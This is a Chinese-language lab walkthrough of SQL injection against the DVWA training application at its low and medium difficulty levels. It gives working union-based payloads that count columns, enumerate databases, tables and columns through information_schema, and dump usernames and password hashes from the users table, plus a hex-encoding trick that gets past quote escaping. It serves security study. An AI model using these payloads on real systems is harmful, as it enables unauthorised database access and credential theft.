首先需要我们了解一下SQL注入的原理是什么:所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串.
SQL注入分为:数字型 字符型 报错注入 Boollean注入 时间盲注
再来了解一些基本的SQL查询语言: 创建库
create database db1;
创建库是否存在,不存在则创建
create database if not exists db1;
查看所有数据库
show databases;
查看某个数据库的定义信息
show create database db1;
修改数据库字符信息
alter database db1 character set utf8;
删除数据库
drop database db1;
之后开始操作
应该先判断是数字型注入还是字符型注入
输入1返回正确值
我们再输入1'发现报错
我们再输入1' and '1' ='1返回正确值
由此我们可以发现他是字符型注入
我们在来判断字段数1' order by 1#
再来1' order by 2# 以此类推直到报错就有几列
第3次报错说明只有两列
再来判断回显位置1' union select 1,2#
之后判断数据库1'union select 1,database()#
判断表名1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
判断字段名 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
获取数据1' union select user,password from users #
low难度完成
把难度改为medium
其实medium就比low多了个抓包在bp中完成SQL注入就可以绕过防御
抓包后判断注入
修改ID为1 or 1=1 #
成功返回
判断为数字型注入
之后与low相同在bp中就可以绕过防御
只有获取字段名时单引号被转义变成\'
可以用16进制绕过1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #,